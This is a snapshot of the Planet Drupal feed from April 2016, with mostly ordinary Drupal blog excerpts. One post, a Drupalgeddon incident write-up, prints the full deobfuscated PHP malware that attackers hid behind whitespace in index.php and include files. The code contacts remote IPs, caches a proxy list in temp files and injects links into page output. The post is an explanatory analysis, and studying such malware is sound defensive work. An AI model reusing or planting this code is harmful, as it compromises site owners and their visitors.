Planet Drupal

Subscribe to Planet Drupal feed - aggregated feeds in category Planet Drupal
Updated: 57 min 15 sec ago

Cheppers blog: Exploring Behat ep. 1: formatting test results

Tue, 19/04/2016 - 16:06

As a growing company with a strong Drupalist department, we have reached a point when continuous integration and automated testing is necessary to sustain pace, and given the characteristics of Drupal, behavior-driven testing with Behat is a logical candidate. To make this happen, we have to explore the undocumented territories of Behat, and we are presenting our findings along the way.

Categories: Elsewhere

Zivtech: Tipsheet: Drupal Site Builder Certification

Tue, 19/04/2016 - 15:03

Last year, our CTO Jody blogged about the Drupal Jeopardy game that helped some of us at Zivtech prepare for the Acquia Certified Drupal Site Builder Exam. The credential validates the skills and knowledge of professionals who build Drupal sites using core and contributed modules. I started studying for that exam afterwards, and passed it last December. Here are my study methods and experience, which I think would be especially useful to those who are newer to Drupal.

First, some tips
  • The only contributed module you need to know about is Views (a sub module of the Chaos Tool Suite, or CTools, in D7).
  • You don't need to know about Drush (the Drupal shell command-line tool) or how to write code for Drupal development.
  • You should know the best practices related to server file management and how to install, update, and uninstall modules and themes.
  • You should also learn about Drupal best practices concerning security, performance, and community participation using resources.
Basic study steps
  1. Read the exam's blueprint to familiarize yourself with it's structure
  2. Watch this webinar video recording which explains what is and is not in the exam
  3. Manually install a site with only a Drupal 7 core release (see documentation on how)
  4. Enable all the core modules and for each read through its help page (provided by the Help module in core)
  5. Manually install the Views module
  6. Also install and enable the Advanced Help module, which is not part of the exam, but has additional Views documentation aside from its community docs
  7. Click through all the links provided by the Admin Menu at the top of the site
  8. Build stuff with the site!

Finally, here is the study sheet I created for myself before I took the exam (cleaned up a bit so it's less messy). All of the information on there are gathered from a Drupal 7 site install with Views, from, and from the Internet in general.

I hope this helps you study for the Site Builder Certification exam. When you are ready, you can register for the 75 minute test. Good luck!

Categories: Elsewhere

ThinkShout: Customize Menu Items in Drupal User Profile

Tue, 19/04/2016 - 15:00

We were recently asked by a client to edit the user profile view page on their site. This client needed us to move the link to the user’s contact form out of the tab area at the top of the profile and replace it with a link that appears further down in the content of the user’s profile. While this is not something you can do through the admin interface in Drupal 7, it is easy to do with just a few lines of code in a custom module, which I will show you how to do here.

Prior to adding our custom code, the link to the contact form appears as a tab.

The “Contact” menu item starts out as a tab because the Drupal contact module originally creates the menu item and assigns it the type MENU_LOCAL_TASK. (See Menu item types for a list of the possible menu types and their uses in Drupal.) In order for us to change the type, we can use Drupal’s hook_menu_alter() function to change the item to the MENU_CALLBACK type, which will remove it from the display, but keep it available as a valid path.

/** * Implements hook_menu_alter(). */ function mymodule_menu_alter(&$items) { // Remove the 'contact' tab. $items['user/%user/contact']['type'] = MENU_CALLBACK; }

Now it is no longer a tab, but we still need make use of Drupal’s hook_user_view_alter() to insert it into the content of the profile before it is rendered on the page.

/** * Implements hook_user_view_alter(). */ function mymodule_user_view_alter(&$build) { // Check to see if this user has allowed others to contact him/her. if ($build['#account']->data['contact']) { // Create the text for the link using the account info to get the user’s first name. $link_text = $build['#account']->field_first_name['und'][0]['safe_value'] ? "email " . $build['#account']->field_first_name['und'][0]['safe_value'] : "email"; // Use the l() function to create the link. $contact_link = l($link_text,'user/' . $build['#account']->uid . '/contact'); // Insert it into the $build array. $build['contact_link'][0]['#markup'] = "<div class=\"field\"><div class=\"field-label\">" . t('Contact') . ":&nbsp;</div><div class=\"field-items\"><div class=\"field-item even\">" . $contact_link . "</div></div></div>"; // Insert into the user details that group we created in the display mode in admin interface. $build['#group_children']['contact_link'] = 'group_user_details'; } }

After the custom code and a quick cache clear, the tab is gone and there is a link to the form within the body of the profile.

I won’t go into creating a custom module; that’s a bit beyond the scope of this post, but there is a tutorial for creating a custom module on

Shout out to Greg Boggs for his assistance!

Categories: Elsewhere

Valuebound: Boost your Drupal development with Docker

Tue, 19/04/2016 - 12:29

Vagrant is a great virtualisation tool, which I prefer heavily for my development purposes. But sometimes it gets a bit hectic and resource consuming, to set up a new vagrant environment to work trivial things or testing out a module/API. 

Not being a great fan of local *AMP stack I was looking for some alternative to Vagrant to use. In comes Docker, which is super fast and very easy to setup. Containers (“virtual machines”) are easy to destroy and  rebuild.They do not require the overhead of virtual machines but they  still provide a high level of isolation from the host OS.

Docker hub have many Docker containers for Drupal which are ready to use . But I prefered to create my own Docker container which just works and runs Drupal…

Categories: Elsewhere

OpenLucius: Update OpenLucius | April 2016

Tue, 19/04/2016 - 11:20

The past month we have processed again a lot of feedback and improved OpenLucius, a Drupal social intranet. Below the improvements that have been made yesterday:

1. Navigation text documents better and faster

We noticed that the navigation of text documents was loading slowly - when placing a lot of text documents (100+) in a group. This is now loaded with a different technique that makes everything much quicker.

We also addressed the navigation to sub-pages (1): this is now more intuitive, faster and mobile usable. Finally, we placed a search feature above (2), so you can find/filter documents quickly.

Read more about text documents >

2. Hide comments

We received a lot of feedback that a page with many comments was becoming unnecessarily long and cluttered. We solved this by hiding comments - just like Gmail does. Hidden comments can easily be shown again.

3. Improved status updates
Categories: Elsewhere

DrupalCon News: Think you’re a Drupal genius? Prove it at DrupalCon.

Mon, 18/04/2016 - 23:13

Do you know EVERYTHING about Drupal? is sponsoring a Trivia Night at DrupalCon, and this is your chance to prove you're a Drupal mastermind.

Categories: Elsewhere

Advomatic: How do I manage the security of my Drupal 6 site?

Mon, 18/04/2016 - 22:23

In our last post we talked about how the Drupal Community is supporting Drupal 6 after its end-of-life and what that means for your Drupal 6 site.  In this post we’ll get a bit more technical and talk about what exactly you need to do to keep your website up to date. Step #1: Getting... Read more »

The post How do I manage the security of my Drupal 6 site? appeared first on Advomatic.

Categories: Elsewhere

Chapter Three: Custom RESTful API in Drupal 8

Mon, 18/04/2016 - 21:25

This is a very simple module that demonstrates implementation of a custom RESTful API in Drupal 8. Creating your own API with Drupal 8 has become a routine task that doesn't require a lot of work. However there are a lot of things I am not covering in this blog post, such as user login and user registration etc...

You could also look into Rest module (in core) to see how to use it's plugin API to extend core rest functionality.

I use Postman to test my API endpoints (this is an app that allows you to send POST/GET/PUT/DELETE etc.. requests and see API response).

Test API module (test_api.module) contains the following files:

Categories: Elsewhere

Bluespark Labs: DrupalCon 2016: New Orleans

Mon, 18/04/2016 - 21:11


DrupalCon 2016 will be held in New Orleans this year from May 9th-13th. Bluespark will be attending in force with at least thirteen team members. We are looking forward to reconnecting with old friends and meeting new ones! We have a few different areas where we are contributing to the DrupalCon event, including our booth and lounge sponsorship and some talks we are giving. In addition to the more serious contributions, we have some fun up our sleeves this year!

The Booth

This year we have a booth close to one of the coffee spots, booth number 725. This year, we have a project planning booklet that we think will be both fun and helpful to fill out for people hoping to launch a project in the future, or revisit some of their initial assumptions when they built their site. We have a number of experts who will be available at our booth to discuss anything from project and business strategy and planning to usability strategy and user testing to Drupal 7 & 8 development.

The Voodoo Lounge

We are sponsoring a lounge this year, which is an area where anyone weary of the journey or excited about playing any the many games we will have available can camp out and rest their legs for a while. We have a whole contest built around a couple of the games there too, so it’s possible to win prizes while you’re having fun!

The Contest (and Prizes)

A couple of the games at The Voodoo Lounge will have contests you can enter which will make for some fun. One of the games has to do with creating funny newspaper headlines that will have everyone rolling. The other one has everyone building a creative machine. We’ll be offering a prize for the best contestant for each game on Tuesday-Thursday: a $100 Amazon gift card and a Bluespark shirt.  

Information on DrupalCon 2016: New Orleans

For more information on DrupalCon 2016, visit the official web page:


Tags: Drupal PlanetDrupalCon 2016Resources:  voodoo_image_centered.gif nola_emblem_thumb.gif
Categories: Elsewhere

Metal Toad: Anatomy of a Drupalgeddon attack

Mon, 18/04/2016 - 20:08
Anatomy of a Drupalgeddon attack April 18th, 2016 Mike Purvis

Before working at Metal Toad, I saw an email from Acquia. A strange email.

It went something like this: 

On October 15th, we will be addressing a security concern at 9:00 am.

Hmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. 

Sure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked.

The actual patch for Drupal core is available here, and shows that it's literally a one-liner.

We (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7.

I've been reading some other blogs regarding Drupalgeddon, and those seem to affect the menu_router table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it.

Essentially, the first line of these files were modified:

  • index.php
  • includes/
  • includes/

After the opening <?php  tag, there is a lot of whitespace before the gibberish begins.

Why whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space.

However, when I ssh'ed into the server and used vi on the command line, all the code is essentially "invisible" unless you have the gumption to press "End" on the first line, or "Right arrow" a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)


I will not post the "gibberish" code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible.

I did, however, successfully decode the execution code, which I'll share in a second.

But first, what was this gibberish code? It was base64_encoded. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea.

After you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)

<?php error_reporting(0); if (!function_exists("ZM5j2q0shf_pirogok")){ function ZM5j2q0shf_pirogok(){ return false; } if (!function_exists("Uno_decode")){ function Uno_decode($String) { $String = base64_decode($String); $Salt="dc5p9dOpBc"; $StrLen = strlen($String); $Seq = "DMEf5HZuPq"; $Gamma = ""; while (strlen($Gamma)<$StrLen) { $Seq = pack("H*",sha1($Gamma.$Seq.$Salt)); $Gamma.=substr($Seq,0,8); } return $String^$Gamma; } } if (!function_exists("get_t_dir_mass")){ function get_t_dir_mass() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { $res[] = realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { $res[] = realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { $res[] = realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { $res[] = realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { $res[] = realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { $res[] = realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { $res[] = realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { $res[] = realpath(dirname(__FILE__)); } return array_unique($res); } }   if (!function_exists("get_ua")){ function get_ua(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".") === false){ $tmp = explode("|",$tt); foreach($tmp as $u){ $know[] = trim($u); } } } } } if(count($know) == 0){ $know[] = "msie"; $know[] = "firefox"; $know[] = "googlebot"; } return array_unique($know); } }   if (!function_exists("get_true_name")){ function get_true_name(){ return ".backup_time"; } }   if (!function_exists("strposa")){ function strposa($haystack, $needle, $offset=0) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $query) { if(strpos($haystack, $query, $offset) !== false) return true; } return false; } }   if (isset($_SERVER["HTTP_USER_AGENT"])){ $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $true_ua = get_ua(); if (strposa($ua,$true_ua)){ if (!function_exists("t_dir")){ function t_dir() { if (function_exists("sys_get_temp_dir")) { if (@is_writeable(sys_get_temp_dir())) { return realpath(sys_get_temp_dir()); } } if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) { return realpath($_ENV["TMP"]); } if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) { return realpath( $_ENV["TMPDIR"]); } if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) { return realpath( $_ENV["TEMP"]); } $tempfile=@tempnam(__FILE__,""); if (@file_exists($tempfile)) { @unlink($tempfile); if (@is_writeable(realpath(dirname($tempfile)))) { return realpath(dirname($tempfile)); } } if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) { return realpath(@ini_get("upload_tmp_dir")); } if (@is_writeable(realpath(session_save_path()))) { return realpath(session_save_path()); } if (@is_writeable(realpath(dirname(__FILE__)))) { return realpath(dirname(__FILE__)); } return null; } } if (!function_exists("get_know_ip")){ function get_know_ip(){ $name = get_true_name(); foreach(get_t_dir_mass() as $t){ if(file_exists($t.DIRECTORY_SEPARATOR.$name)){ foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){ $tt = Uno_decode($tt); if(strpos($tt,".")>0){ $know[] = trim($tt); } } } } return array_unique($know); } } if (!function_exists("save_know_ip")){ function save_know_ip($ip){ $name = get_true_name(); $content = implode(PHP_EOL, $ip); foreach(get_t_dir_mass() as $t){ $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w"); fputs($f,$content); fclose($f); } } } if (!function_exists("ZM5j2q0shf_get_real_ip")){ function ZM5j2q0shf_get_real_ip() { $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR"); foreach($proxy_headers as $proxy_header) { if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $_SERVER[$proxy_header])){ return $_SERVER[$proxy_header]; } else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) { $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header]))); if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp); if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$/", $proxy_header_temp) ) return $proxy_header_temp;   } } return $_SERVER["REMOTE_ADDR"]; } } if (!function_exists("ZM5j2q0shf_get_url")){ function ZM5j2q0shf_get_url(){ $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; if (strpos($url,"?") !== false){ $url = substr($url,0,strpos($url,"?")); } return $url; } } if (!function_exists("ZM5j2q0shf_get_contents")){ function ZM5j2q0shf_get_contents($ip, $page){ if((function_exists("curl_init")) && (function_exists("curl_exec"))){ $ch = curl_init("http://" .$ip . "/" .$page); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); $ult = trim(curl_exec($ch)); return $ult; } if (ini_get("allow_url_fopen")) { $ult = trim(@file_get_contents("http://" .$ip . "/" .$page)); return $ult; } $fp = fsockopen($ip, 80, $errno, $errstr, 30); if ($fp) { $out = "GET $page HTTP/1.0\r\n"; $out .= "Host: $ip\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $ret = ""; while (!feof($fp)) { $ret .= fgets($fp, 128); } fclose($fp); $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4)); } return $ult; } } if (!function_exists("ZM5j2q0shf_samui_get_links")){ function ZM5j2q0shf_samui_get_links(){ $all = get_know_ip(); shuffle($all); $url = ZM5j2q0shf_get_url(); $real_ip = ZM5j2q0shf_get_real_ip(); $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); $aid = "1001"; $cod = md5($url.time()); $check = md5($cod); $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"])); $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"])); $page = "/ml.php?".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref; foreach ($all as $ip){ $tc = ZM5j2q0shf_get_contents(trim($ip),$page); $pos = strpos($tc, $check); if ($pos !== false){ $proxy_list = substr($tc,0,$pos); save_know_ip(explode("\n",$proxy_list)); $links = substr($tc,$pos+32); return $links; } } } } if (!function_exists("ZM5j2q0shf_mod_con")){ function ZM5j2q0shf_mod_con($con){ if (strpos($con,"]*)?>/i", "".ZM5j2q0shf_samui_get_links(), $con,1); return $text; } else { return $con; } } } if (!function_exists("ZM5j2q0shf_callback")){ function ZM5j2q0shf_callback($buf){ if (headers_sent()){ if (in_array("Content-Encoding: gzip", headers_list())){ $tmpfname = tempnam(t_dir(), "FOO"); $zf = fopen($tmpfname, "w"); fputs($zf, $buf); fclose($zf); $zd = gzopen($tmpfname, "r"); $contents = gzread($zd, 10000000); $contents = ZM5j2q0shf_mod_con($contents); gzclose($zd); unlink($tmpfname); $contents = gzencode($contents); } else { $contents = ZM5j2q0shf_mod_con($buf); } } else { $contents = ZM5j2q0shf_mod_con($buf); } return($contents); } } ob_start("ZM5j2q0shf_callback"); } } }

There's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the unlink statement above. Don't scroll up, I bet it's in your vision right now.)

On a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code.

I had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code.

One last thing, that's interesting as well as hilariouis. 

There is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string.

So there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where one of these two strings appeared. =') and ==') Those are not crying, smiling emojis, but instead they're needles in the haystack.

Those a pretty weird character strings right? It's almost so weird that you can do a quick grep or ag command to find all instances of that weird character string. And that's what I did.

So to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out.

Note: You need to check the database as well. This blog post does not cover that.

Categories: Elsewhere

php[architect]: Mandrill Alternatives for PHP Applications

Mon, 18/04/2016 - 19:58

What would a website be if it couldn’t send emails, even if just for password resets? Running your own mail server is a huge hassle, so many developers instead use a third party service to send transactional emails like password resets, new user welcome messages, and order summaries. One of the most popular services, in part because of their generous free tier, is Mandrill, owned by MailChimp.

In case you might have missed the announcement, MailChimp is changing Mandrill to be an add-on to paid MailChimp accounts, thus eliminating the generous free tier. We’re big fans of MailChimp and use its mailing list service for our own announcements, (hey, why not join that list if you’re not already on subscribed?) but a full MailChimp account isn’t going to be for everybody. They’ve already shut out the ability for new subscriptions, but if you’re a PHP developer who does things like put off your taxes until the last minute (American customers have three extra days this year, but that’s today), you’re probably sweating the April 27th deadline.

Many people also know Mandrill by reputation and will need options in the future. For you, we’ve put together this list of viable transactional email alternatives with PHP and major PHP application support. Joomla! and MODX support SMTP integration natively, so you’ll just need the SMTP configuration options from your chosen provider. If you want to use a provider’s web API, see the PHP options below.

Cal Evans did an unscientific Twitter survey to see what options people were migrating to:

If you are moving off of @mandrillapp, what are you moving to?

— Cal Evans (@CalEvans) March 29, 2016


MailChimp’s announcement notes that SparkPost has agreed to take on existing Mandrill users and honor Mandrill’s pricing for them. Fortunately, SparkPost has PHP users covered: there is an official PHP API library. There is also a Drupal module, but unfortunately it seems to be 7.x only at this writing and is only a sandbox project—you’ll have to install it via git. Drupal 8 users should be able to use the official API library with Composer. WordPress developers are in more luck: there is an official WordPress plugin. SparkPost provides a guide for Magento devs using the SMTP Pro extension. SparkPost also has one of the most generous plans we’ve seend, with 100,000 free emails per month, though you can not exceed that limit without upgrading ahead of time.


A long time option for PHP users has been SendGrid. (Full disclosure: SendGrid has sponsored our php[tek] conference in the past, but is not a current sponsor.) They have an official PHP API, installable via Composer. While there is a 7.x-only Drupal module, SendGrid recommends Drupal users use the SMTP Authentication Support or Swift Mailer modules in its documentation. Both the officially-recommended modules support Drupal 8 at least in the development releases of each module. Magento is also supported through the SMTP Pro extension. WordPress devs can install the official plugin. SendGrid doesn’t list a free tier on their pricing page, their “Essentials” plan start at $9.95 for 40,000 emails per month.


Many devs I know have spoken highly of SendinBlue. They offer a WordPress plugin, (7.x only) Drupal module, and Magento extension. They also have an official PHP library. Their free tier is limited to 9,000 emails per month with no daily limits, however the messages will include SendinBlue branding.

Amazon SES

Amazon’s transactional email service is affordable but not as easy to install and configure for newbies. They have an official PHP library through the AWS PHP SDK. There is a third-party Drupal module for 7.x users. Similarly there’s an independent WordPress plugin. There is a USD 99 paid extension for Magento.


Mailjet offers a PHP API wrapper, a WordPress plugin, a 7.x-only Drupal plugin, a Joomla! extension, and a Magento plugin. The free tier is capped at 6,000 emails per month and 200 email per day. The first 30 days include a premium trial which allows users to explore segmentation, testing, and compare campaign performance.


Mailgun has a PHP SDK installable via Composer. There is also a WordPress plugin, a 7.x-only Drupal module,  and a Magento extension. The first 10,000 emails each month are free, after which you pay a tiered price based on monthly volume.


Postmark offers a PHP API library, installable via Composer and available on Packagist. There is also an official WordPress plugin. There is a community-supported Drupal module (you guessed it, 7.x only) and Magento extension. There are also many other community modules for PHP frameworks. If you sign up to try it, the first 25,000 emails are free. After that, you can buy credits to send emails starting at $1.50 per thousand emails.


Which of these services you use depends on your needs, price sensitivity, and how much specific support you want for your platform. If I’ve missed any services with good PHP support, please let us know in the comments!

Image Credit: RaHuL Rodriguez on Flickr

Categories: Elsewhere

DrupalCon News: Come Sprint at DrupalCon

Mon, 18/04/2016 - 16:24

At DrupalCon there’s plenty of opportunity to give back, learn, and make a difference when you attend sprints. Whether this is your first Drupal event or you've been to several camps and Cons and are ready to try something new, we look forward to seeing you at the sprints

Categories: Elsewhere

I Fix Drupal: Can You Launch A Tech Startup Using Drupal?

Mon, 18/04/2016 - 14:41
Yes you can. In that case, should you launch a tech startup using Drupal? Maybe. This article will equip you with the information you need to make a sound assessment of whether you should choose Drupal for your startup company whether you are a non technical founder, an experienced CTO or a technologist looking to step up into an executive role. Drupal, or any other piece of open source software, can provide you with an incredible platform to scale your startup from nothing more than a set of requirements to a profitable company in a highly time and cost efficient manner. But Drupal is not a...
Categories: Elsewhere

Valuebound: How to define your own Services in Drupal 8

Mon, 18/04/2016 - 14:04

Service  is a PHP class with some code that provides a single specific functionality throughout the application. So you can easily access each service and use its functionality wherever you need it. Because of that it is easy to test and configure in your application. This is called service-oriented architecture which is not unique to Symfony or even PHP.  

The Services and Dependency Injection Container concepts have been adopted by Drupal from the Symfony framework.  Accessing the database, sending email, or translating user interface are examples for the services in Drupal 8. 

Lets look at how to define your own service in drupal 8 custom module Development?

Step 1:
Create the .info.yml file […

Categories: Elsewhere

Pronovix: How to recognise accessible PDFs - PDF in Drupal part 3

Mon, 18/04/2016 - 11:30

As an addition to our PDF in Drupal series, we researched the subject of accessible PDFs: how can writers create content in a way that it becomes accessible to users with disabilities? We’ll highlight checking mechanisms and tools and end with listing three types of the available assistive technologies that make content accessible.

Categories: Elsewhere

Roy Scholten: 10 places to explore visual & structural hierarchy on Drupal admin screens

Sun, 17/04/2016 - 22:47

One of the critical Drupal UX issues is the lack of visual and structural hierarchy on admin pages. Can you suggest ideas, sketches, mockups for any of the following?

Post your sketches, plans or ideas to the linked issue or add this folder to your Google Drive and upload there.

Tags: drupalplanetd8uxhierarchySub title: Your ideas for how to put first things first, please.
Categories: Elsewhere

Phponwebsites: Clear views cache when insert, update and delete a node in Drupal 7

Sat, 16/04/2016 - 09:21
This blog describes how to clear views cache while inserting, updating and deleting a node in Drupal 7. If we want to improve site performance, then views caching is one of the options.

   For example, you have views which display list of records. It will update occasionally. Then we can render views data from cache rather than server if we set cache for views. We can set views cache at its settings page. Suppose you have cached views for 5 mins. Then it didn't display updated data until 5 mins even if new node is added to that views. It displays updated data only after 5 mins because the views is cached for 5 mins. In that situation, the user can't view new data in cached views. So we need to clear views cache when add , update and delete a node. So only we can see new data in views and also data is rendered from cache.

Clear views cache when insert a new node in Drupal 7:   The newly added node has not been displayed in views list if the cache is applied to a views. So we need to clear views cache when insert a new node using hook_node_insert(). Lets see the code for clear views cache while inserting a node:

  * Imeplement hook_node_insert().
 function phponwebsites_node_insert($node) {
   if ($node->type == 'tasks') {
     //clear views cache
     $viewsname = 'activity';
     cache_clear_all($viewsname, 'cache_views_data', TRUE);
Clear views cache when update a node in Drupal 7:   When you tried to update a node, the updated data in that node has not been displayed in views. So we need to clear views cache when update a node using hook_node_update(). Lets see the code for clear views cache while updating a node:

  * Imeplement hook_node_update().
 function phponwebsites_node_update($node) {
   if ($node->type == 'article') {
     //clear views cache
     $viewsname = 'articles';
     cache_clear_all($viewsname, 'cache_views_data', TRUE);
Clear views cache when delete a node in Drupal 7:   After delete a node, you could see the deleted node is displayed in the views. So we need to clear views when delete a node using hook_node_delete(). Lets see the code for clear views cache while deleting a node:

  * Imeplement hook_node_delete().
 function phponwebsites_node_delete($node) {
   if ($node->type == 'article') {
     //clear views cache
     $viewsname = 'articles';
     cache_clear_all($viewsname, 'cache_views_data', TRUE);
   You can see the performance of views page will be increased and you can see changes in your views. Now I've hope you know how to clear views cache when insert, update and delete a node in Drupal 7.
Categories: Elsewhere

DrupalEasy: DrupalEasy Podcast 173 - Secret Bunker (Peter Wolanin, Cathy Theys - Drupal Security Team)

Sat, 16/04/2016 - 06:36

Direct .mp3 file download.

Cathy Theys (yesct) and Peter Wolanin (pwolanin) from the Drupal Security Team join Anna Kalata and Mike Anello to discuss the origins, evolution, and efforts of the team. Peter and Cathy discuss how to report potential security issues, how issues are handled within the team, and how they prioritize potential contributed module security issues. In addition, we discuss Drupal from the outside-in, Cathy's travel schedule, secret bunkers, the need for us to keep Peter busy in the Drupal community (seriously), Mike's slow loss of control, customers who contribute, and how Drupal might be related to the Panama Papers. As if that wasn't enough, we give Cathy control of the five questions - let the fun begin!

Interview DrupalEasy News Four Stories Sponsors Picks of the Week Upcoming Events Follow us on Twitter Cathy's Five Questions (answers only)
  1. Python library for reading shape files (pyshp).
  2. Retirement.
  3. Go back to DIY microbiology/genetic engineering.
  4. Chx asking him to do “something easy” for Drupal 6.
  5. Brian Osborne, working on CAS module (bkosborne).
Intro Music Subscribe

Subscribe to our podcast on iTunes or Miro. Listen to our podcast on Stitcher.

If you'd like to leave us a voicemail, call 321-396-2340. Please keep in mind that we might play your voicemail during one of our future podcasts. Feel free to call in with suggestions, rants, questions, or corrections. If you'd rather just send us an email, please use our contact page.

Categories: Elsewhere

Lullabot: Lullabot's 8th Annual DrupalCon Party

Fri, 15/04/2016 - 21:41

Lullabot’s annual party has become a DrupalCon tradition – fun friendly people hanging out and having a good time. If you’re new to DrupalCon, it’s a great place to meet people. And if you’re an old-timer, it’s a great place to see old friends and make new ones.

Lullabot’s DrupalCon Party 2016
Wednesday, May 11th at the Ace Hotel
600 Carondelet St.
New Orleans, LA 70130
7PM ‘til whenever
(a 15 minute walk from Drupalcon)

We have 31 Lullabots attending Drupalon this year. Nine of them are presenting sessions, so don’t miss those. Also, both Lullabot and Tugboat will be representing at booth 206 in the exhibit hall. We’ll have our famous floppy disk party invites at the booth, so stop by early on Tuesday if you want to fill out your collection. And finally, since it's our 10 year anniversary, if you happen to stop by the booth wearing an old Lullabot tee, you'll also receive a new special edition Lullabot shirt. Hooray for new threads!

The venue for the party is a short 15 minute walk from the Convention Center. So stop by on Wednesday evening, enjoy a drink with us, and say “hello!”.

Categories: Elsewhere

Drop Guard: Drop Guard recipes: Configure your Drupal update behaviours

Fri, 15/04/2016 - 20:15
Drop Guard recipes: Configure your Drupal update behaviours Igor Kandyba Fri, 15.04.2016 - 20:15

The real benefits and value of Drop Guard are not about being able to monitor, but actually perform updates by committing the newer Drupal and modules versions directly into the project's Git repository. In this article, we'll familiarise ourselves with the basic Drop Guard concepts, and go through the update behaviours configuration process to secure our website.

Drop Guard Drop Guard recipes Drupal Planet
Categories: Elsewhere